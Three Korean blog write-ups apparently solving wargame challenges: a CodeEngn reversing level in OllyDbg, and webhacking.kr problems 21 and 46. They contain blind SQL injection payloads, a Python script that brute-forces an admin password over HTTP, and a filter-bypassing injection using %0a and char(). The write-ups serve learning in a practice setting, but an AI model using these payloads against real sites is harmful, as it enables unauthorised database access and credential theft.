안녕하세요. 오늘은 codeengn의 bagic rce level7을 풀어보겠습니다.

홈페이지로 들어가 codeengn bagic rce level7을 눌러주세요.



니가 입력한 시리얼은 올바르지 않다라고 뜨는군요. 또한 문제에서 보시면 c드라이브 이름이 CodeEngn일 경우 시리얼이 생성될때 CodeEngn은 어떤것으로 변경되는가 라고 나와있습니다. c드라이브 이름이 CodeEngn일 경우라고 했으니 c드라이브 이름을 바꿔줍시다. 

그리고 올리디버그로 열어봅시다.

일단 오류메세지박스가 뜨는 부분을 먼저 봅시다.

에러가 뜨는 박스와 well done박스가 보이는군요. 당연히 이런 갈림길박스 위에는 비교함수cmp가 있기 마련입니다. 위로 조금만 올라가서 비교함수를 봅시다.

그림의 맨위를 보시면 CMP EAX, 0 이 보입니다. CMP 함수는 CMP 변수,변수 로 형식이 되어있으며 앞의 변수에서 뒷변수를 뺀 값이 0이 나올 경우 참을 반환하는 함수입니다.

즉 저위에선 EAX-0=0이 되어야 참이 된다는 소리입니다. 참이 됐을 경우 밑의 JE Short에 의해 00401117로 이동하게 됩니다. 00401117은 보시면 아시겠지만 성공박스가 뜨는 곳입니다.

즉 우리는 EAX가 0이 되게 만들어 줘야 합니다. 일단 CMP함수에 F2번을 눌러 브레이크를 건 후 실행시켜 보았습니다.

보시다시피 EAX값이 1이 되어있군요. 그래서 CMP에서 거짓을 반환하기 때문에 에러박스가 뜨는 겁니다. 그런데? 위의 함수를 자세히 보시면 이상한 문구가 있습니다.

Enter your serial 문구가 있습니다.Enter your serial은 어디서 많이 보지 않았습니까?

네 바로 이 문구 입니다. 그리고 그밑에 L2C-5781EqfgEngn4562-ABEX가 있습니다.

딱봐도 시리얼로 보이는 숫자긴 합니다. 그리고 맨 위의 함수를 보시면 stringToAdd가 있군요. 직역을 해보니 문자를 추가한다 라는 뜻같네요. 즉 EqfgEngn4562-ABEX란 문자열에 L2C-5781을 추가한 것 같습니다. 그런데 EqfgEngn4562-ABEX이 문자열은 대체 어디서 온것일까요? 그래서 문자열을 일단 전부 보기로 했습니다.

오른쪽 마우스를 눌러 아래와 같이 들어가 모든 문자를 봅시다.

문구가 많군요. 위쪽의 두번째 줄을 보시면 EqfgEngn4562-ABEX가 보입니다. 더블클릭 해봅시다.

예상대로 4562-ABEX가 EqfgEngn에 추가된 문자열이었습니다. 그럼 EqfgEngn는 대체 어디서 왔을까요? 그러고보니 우리가 올리디버깅에 앞서 하드디스크 이름을 CodeEngn이라고 줬었죠. Engn이 같은 걸로 보아 CodeEngn이 변형된 이름은 아닐까하고 생각이 듭니다.

앞서 문제에서 시리얼이 생성될 때 CodeEngn이 바뀐다 했으므로 일단 시리얼처럼 보이는

L2C-5781EqfgEngn4562-ABEX를 넣어봅시다.

시리얼 넘버가 맞군요. 시리얼넘버가 생성된 것입니다. 그리고 생성될때 CodeEngn의 값이 바뀐다 했으니까 아무래도 바뀐 값은 EqfgEngn인 것 같습니다. 한번 인증해 봅시다.

codeengn사이트의 challenges - continue를 눌러 인증해봅시다.

다음문제로 넘어가는 걸 보아 정답인 것 같습니다.

이것으로 문제풀이를 마치겠습니다. EAX로 풀려다 이상하게 문제를 풀었네요. 쩝...

뒷정리로 하드디스크 이름은 원래대로 해놓읍시다.

'codeengn' 카테고리의 다른 글

codeengn - basic rce level9  (0) 2015.08.05
codeengn - basic rce level 8  (0) 2015.08.05
codeengn - basic rce level4  (0) 2015.07.20
codeengn - bagic rce level3  (0) 2015.07.20
codeengn - basic rce level2  (0) 2015.07.15
Posted by englishmath
,

안녕하세요. 오늘은 webhacking 21번 문제를 풀어보겠습니다.

홈페이지로 들어가 21번 문제를 눌러주세요.

초기화면입니다. 칸이 있고 제출버튼과 결과버튼이 보이는군요. 일단 임의로 값을 넣어봅시다.

1을 넣었을때의 값입니다. true가 나오는군요. 그래서 1~10까지 넣어보았습니다.

1과 2는 참이었지만 3부터는 false가 나오더군요. 숫자는 시험해봤으니 이제는 영어로 넣어봅시다.   ... 영어는 false가 나오는 것을 알 수 있습니다. 즉 ture가 되는 값은 아직까진 1과 2이군요. 소스를 한 번 봅시다.

음? 별다른 내용이 없습니다. 이건 뭐 문제도 없고 풀 방법이 안보입니다. 어떻게 해야할까요?

다시한번 1을 제출해봅시다. 그리고 주소창을 봅시다.

no값이 1이 주어졌으며 뒤쪽의 id와 pw가 있습니다. 흠... 이번엔 2를 제출해봅시다.

no값이 2가 주어졌으며 뒤쪽의 id와 pw가 있는 것을 확인 할 수 있습니다.

이것을 보아하니 우리는 id와 pw가 존재한다는 것을 알 수 있습니다. 그리고 값이 없기 때문에 이 id와 pw의 값을 알아내야 한다는 것도 알 수 있습니다. 

sql이므로 id와 pw는 테이블에서 가져오겠지요. 테이블을 예상해보자면

no    id      pw

1     ?        ?

2     ?         ?

이런식으로 예상 할 수 있습니다. no의 값이 1과 2외에는 전부 거짓을 반환하기 때문에 no는 1과 2밖에 없습니다 .

자 여기서 우리는 쿼리문을 예상 할 수 있습니다.

$q = mysql_fetch_array(mysql_query(select no,id,pw from table where no=$GET_no))

if(!$q) echo false

else echo true

이렇게 말입니다. 쿼리문을 보시면 q가 입력받은 no값에 맞는 no.id.pw의 값을 가져옵니다.

그리고 그 q의 값을 반전시켜 참이면 false 거짓이면 true가 나오도록 하는 구조입니다.

만약 q값이 참인 상태에서 반전시키면 거짓이 되므로 true가 나올 것이고 q값이 거짓인 상태에서 반전시키면 참이 되기 때문에 false가 나올 것입니다. 그냥 쉽게 생각하시면 q가 참이면 true q가 거짓이면 false를 반환합니다. 값이 0이 아닌 값이면 참, 값이 0이면 ture를 반환합니다. 

만약 쿼리문이 저렇게 되있다면 테이블에 존재하는 no값을 입력했을 경우 그에 해당하는 no,id,pw가 반환되어 참을 출력할 것이고 테이블에 존재하지 않는 no값을 입력했을 경우 해당되는 것이 없기 때문에 거짓을 출력할 것입니다.

자 여기까지 왔으면 이제 공격기법을 쓸 차례입니다. 우리는 GET_no를 손댈 수 있으므로 적절히 바꿔서 id와 pw를 알아내 봅시다. 일단 no가 1인 id를 알아내봅시다.

1 and length(id)=1를 입력합시다. 이 조건문의 의미는 no값이 1이면서 id의 길이가 1인 조건이란 뜻입니다. 만약 id의 길이가 1이라면 참을 반환할 것이고 아니라면 거짓을 반환하겠지요. 아무래도 길이가 1은 아닌것 같습니다. 하긴 저같아도 길이를 1로 하진 않습니다.. 1이 안되니 2를 입력해보고 안되면 3 .. 이렇계 계속 해 봅시다. 그러면

5에서 true값이 나오는 것을 알 수 있습니다. 즉 no값이 1인 id의 길이는 5입니다. 그러면 이번엔 pw도 해봅시다.

pw의 길이도 5이군요. 그러면 이번엔 no값이 2인 id와 pw길이를 파악합시다.

2의 id도 길이가 5입니다.

???? no값이 2인 pw의 길이는 무려 19가 됩니다. 왤케 긴걸까요.. 물론 1부터 맞추느라 너무 힘들었습니다. 그러면 다시 테이블을 정리해 봅시다.

no    id      pw

1     ?(5)      ?(5)

2     ?(5)      ?(19)

네 이렇게 되는군요. 그런데? id글자수가 5개면 생각나는게 딱 하나 있죠. admin(관리자)입니다. 즉 no의 1과 2 둘중 하나의 id는 admin입니다. admin을 찾아내기 위해 쿼리문을 제출해봅시다. 

1 and ascii(substr(id,1,1))=97를 입력해줍시다.

ascii는 문자를 해당 아스키값으로 바꿔주는 함수이구요. substr는 문자열 중에서 특정 시작부분과 끝부분 사이의 문자열을 추출 하는 값입니다. 즉 위의 substr은 id에서 1번째 문자 1개를 추출하라라는 소리입니다. 즉 이 문구는 no가 1인 id의 첫글자가 a인지 아닌지 판별하는 문구입니다. 

아니라는군요. 그러면 2로 함 해봅시다.

true값이 나오는 군요. 아무래도 2의 id는 admin인것 같습니다. 다만 확인을 위해 두번째 글자도 살펴봅시다.

참이 뜨는군요. admin이 확실합니다.

no    id      pw

1     ?(5)      ?(5)

2     admin    ?(19)

그런데 admin의 패스워드를 보니까 길이가 장난이 아닙니다. 아무래도 이 admin의 패스워드가 이 문제의 정답이 되지 않을까 생각이 드는군요. 그런데 이번 pw는 짐작가는 것이 없습니다. 즉 2 and ascii(substr(pw,1,1))=1 부터 2 and ascii(substr(pw,1,1))=127까지 찾아야 합니다. ㅎㄷㄷ 게다가 이렇게 했는데 고작 첫번째 글자하나 맞출 뿐입니다.

그다음은 2 and ascii(substr(pw,2,1))=1 부터 2 and ascii(substr(pw,2,1))=127까지 하고.. 그렇게 쭉 하다가 2 and ascii(substr(pw,19,1))=127까지 한다면 사람이 미쳐버립니다.

우리는 이런 노가다를 하기가 불가능 하므로 코드를 하나 짜서 할 필요가 있습니다.

[출처] substr() 사용하기|작성자 길당

우리는 이럴때 프로그램을 사용해봅시다. 파이썬이란 프로그램입니다.

원래 코드를 짠다는 것이 프로그래밍을 한다는 뜻입니다. 프로그래밍은 손이나 눈으로 할 수 있는 일들을 더 빨리 처리하기 위해 사용되지요. 프로그래밍이라 하면 대부분 c언어를 생각합니다만 사람들이 소스를 짤때에는 간단하고 쉽게 짜길 원하기 때문에 프로그램을 많이 씁니다. 그래서 그 중 유명한 프로그램인 파이썬을 사용해보겠습니다

홈페이지로 가서 받으시면 됩니다. 2.7.10버전을 눌러 받아주시기 바랍니다.

설치가 완료되었으면 실행시켜 봅시다.

IDLE를 누르면 다음과 같이 창이 뜹니다. 자 우리는 소스를 만들어야 하므로 file - new file을 눌러주세요.

새창이 떳으면 다음과 같이 적어줍시다.

이 소스는 사실 가져온것입니다. 그래서 해석은 따로 하지 않겠습니다. 사실 못합니다..

잘보이지 않는 분을 위해 글자로 써놓겠습니다.

import socket

import re


pw=""

my_cookie="자신의 phpsessid값"


host="Host: webhacking.kr\n"

cookie="Cookie: PHPSESSID=%s\n\n" % my_cookie


web = 'webhacking.kr'

ip = socket.gethostbyname(web)


socket.setdefaulttimeout(5)


for i in range(1,20): 

    s = socket.socket()

    s.connect((ip, 80))

    for j in range(48,58):

        head1="GET /challenge/bonus/bonus-1/index.php?pw=&id=&no=if((select(ord(substr(pw,("

        head2="%d" % i

        head3="),1)))in("

        head4="%d" % j

        head5=")),2,3) HTTP/1.1\n"

        s.send(head1+head2+head3+head4+head5+host+cookie)

        aa=s.recv(1024)

        print("i: %d, j: %d (%s)") % (i, j, chr(j))

        find = re.findall("True</b>",aa)


        if find:

            pw+=chr(j)

            print "find pw: " + pw

            break

        if j == 126:

            s.close()

            print "Password is %s" %(pw)

            exit()

위의 my cookie의 값은 우리가 로그인을 하고 21번문제에 들어왔을때의 phpsessid값입니다. 

이 값을 줘야 파이썬이 나의 계정으로 로그인 되어있는 상태로 접속을 합니다.

지금 저 소스는 i가 1에서 20까지 한다는 군요. 즉 i값이 20이 되는 순간 종료가 됩니다. 우리는 19번 까지 패스워드를 구해야 하므로 20까지 하는 것이 맞습니다. 그리고 그 밑의 j의 범위는 48에서 58까지라고 되어있네요. 아스키코드로 48은 0이고 57은 9입니다. 범위를 48에서 57까지로 해놓으면 57이 되었을때 종료가 되버리기 때문에 9를 검사하지 않습니다. 그래서 1을 더한 58까지로 지정해놓았습니다. 값을 찾으면 찾은 값을 문자화시켜 출력하라고 되어있네요. 최종적으로 값을 수정하셨으면 py의 확장자로 저장을 한 후 F5번을 눌러 실행시킵시다

그러면 아래와 같이 뜹니다.

아무래도 패스워드는 숫자가 아닌것 같습니다. 그러면 이번엔 대문자로 맞춰봅시다.

수정을 하고 결과를 봅시다.

패스워드엔 숫자와 대문자가 안들어가는 것 같습니다. 이번엔 소문자로 해봅시다.

오호 한글자씩 출력이 되더니 마지막엔 19글자가 나오는것을 볼수 있습니다. 저것이 바로 admin의 패스워드입니다. 문제의 정답일지도 모르니 한번 auth에 인증을 해봅시다.

네 이것으로 문제풀이를 마치겠습니다. 소스를 공유하신 분께  감사의 말씀을 전합니다. 

'Webhacking' 카테고리의 다른 글

webhacking - 61번 문제  (0) 2015.08.07
webhacking - 49번 문제  (0) 2015.08.07
webhacking - 46번 문제  (0) 2015.08.01
webhacking - 36번 문제  (0) 2015.07.30
webhacking - 35번 문제  (0) 2015.07.29
Posted by englishmath
,

안녕하세요. 오늘은 webhacking 46번 문제를 풀어보겟습니다.

홈페이지로 들어가 46번 문제를 눌러주세요.

또 sql문이군요. 쿼리 전송을 해봅시다.

뭐라고 뜨는군요. 일단 소스를 봅시다.

index.phps가 있네요. 함 들가봅시다. 

당연히 solve부터 봐야 합니다.  q[0]=="admin"이면 해결된다네요. 위의 if문을 한번 봅시다.

q의 값과 get[lv]의 값이 들어왔을 경우 아래의 문구를 출력한다는군요.

$q[0] information<br><br>money : $q[1]

그런데 아까 우리가 레벨1을 전송시켰을때 문구가 하나 떳지요? 다시 한번 봅시다.

zzibong information

money : 10000

음 보니까 get[lv]의 값이 1일경우 q[0]의 값은 zzibong가 되구요. q[1]의 값은 10000이 되네요.우리는 이 q[0]의 값은 admin이으로 만들어야 합니다. 어떻게 해야 할까요?

일단 level값에 1이 아닌 다른 수를 입력해 보았습니다. 그런데 어떠한 값을 넣어도 1외에는 별 내용을 출력하지 않니다. 일단 바로 위의 q를 한번 봅시다.

$q=@mysql_fetch_array(mysql_query("select id,cash from members where lv=$_GET[lv]"))

mysql_fetch_array는 앞의 문제에서도 설명했다시피 DB의 레코드셋을 php배열로 가져오는 함수입니다. 레코드셋이란 레코드들의 집합이지요.  mysql_query는 sql문을 실행하는 함수이구요. 뒤쪽의 문구를 보면 id와 cash를 검색하라고 나와있습니다. 

뒤쪽의 where이 있는걸로 보아 대충 조건에 맞는 아이디와 cash를 검색하라는 것 같습니다.

그런데 우리는 get[lv]에만 손댈 수 있습니다. 그러니까 이 값을 지정하여 admin인 id를 불러와야 합니다. 아까 쿼리전송 하신분은 아시겠지만 lv의 값은 1외에는 아무 문구도 안뜹니다. 즉 lv1의 아이디는 zzibong이고 그외에는 없다는 것이지요. 그렇기 때문에 lv에 상관없이 id가 admin인 것을 불러 와야 합니다. 그렇게 할려면 다음과 같이 되야 합니다.

where lv=0 or id='admin'

이것이 무슨 뜻이나면 where 다음조건을 만족시키는 것을 검색하라

조건은 lv=0 이거나 id가 admin인 id를 가져와라 라는 뜻입니다. lv의 값은 1외에는 없기 때문에 or을 붙여 앞의 lv조건을 무효화 시킨 것입니다. or이기 때문에 lv값이 틀려도 그 다음의 조건이 만족하면 장땡이기 때문입니다. 그 다음의 조건은 id가 admin인것입니다. 이렇게 해서 admin인 id를 불러올 수 있습니다. 그러면 이제 저것을 그대로 대입하면 되느냐구요? 

그렇게 되면 참 좋겠습니다만... 안되네요.

이유는 몇가지가 있지요. 일단 소스를 다시 한번 보시면

$_GET[lv]=str_replace(" ","",$_GET[lv]);

가 있습니다. 이것은 입력받은 lv의 값중 띄어쓰기가 있을경우 그 뛰어쓰기를 무효화 시킨다는 소리입니다. 즉 우리가 입력하려는 lv=0 or id='admin'에는 띄어쓰기가 있으니 그 띄어쓰기를 무효화 시킨다는 것이지요. 그래서 우린 이것을 우회하기 위해 %0a를 씁시다.

그러면 lv=0%0aor%0aid='admin'가 됩니다. 그래서 이것을 그대로 넣었는데 또 되지 않았습니다. 문법이 틀린 것은 아닌데 말입니다. 그러면 역시 그거 하나밖에 없죠.

앞 문제에서 설명했다시피 php에는 magic_quotes_gpc라는 함수가 존재한답니다. 이 함수는 '(홑따옴표), "(큰따옴표), \(이스케이프), %00(null) 값에 대해 앞에 \ 문자를 붙임으로써 공격을 방지하는 기능을 가지고 있답니다. 만약 이 함수가 실행되었다면 우리가 입력한 '의 앞에 이스케이프가 붙게 되서 결국 에러가 생겨버립니다. 즉 우리는 '를 대신할 만한 것을 써야합니다. 앞에서 썻던 함수 char을 또 쓰겠습니다.

 lv=0%0aor%0aid=char(97,100,109,105,110)가 되겠네요. lv값에 넣는거니 lv를 빼면 

정답은 0%0aor%0aid=char(97,100,109,105,110)가 되겠네요. 넣어줍시다. 참고로 앞의 숫자는 0이든 1이든 3이든 상관없습니다. 버리는 조건이니까요.

컨트롤c를 눌러 복사해서 붙여넣었더니 숫자만 붙여넣기가 되었습니다. 그래서 일일이 입력해주었습니다.


.... 안되네요. 아무래도 칸에 넣어서는 안되는 모양입니다. 주소값을 봅시다.


분명 적은것과 다르게 lv값이 바뀝니다. 그래서 이번엔 직접 주소창에 적어보겠습니다.


엔터를 쳐줍시다.


네 이것으로 문제풀이를 마치겠습니다.




'Webhacking' 카테고리의 다른 글

webhacking - 49번 문제  (0) 2015.08.07
webhacking - 21번 문제  (0) 2015.08.02
webhacking - 36번 문제  (0) 2015.07.30
webhacking - 35번 문제  (0) 2015.07.29
webhacking - 32번 문제  (0) 2015.07.29
Posted by englishmath
,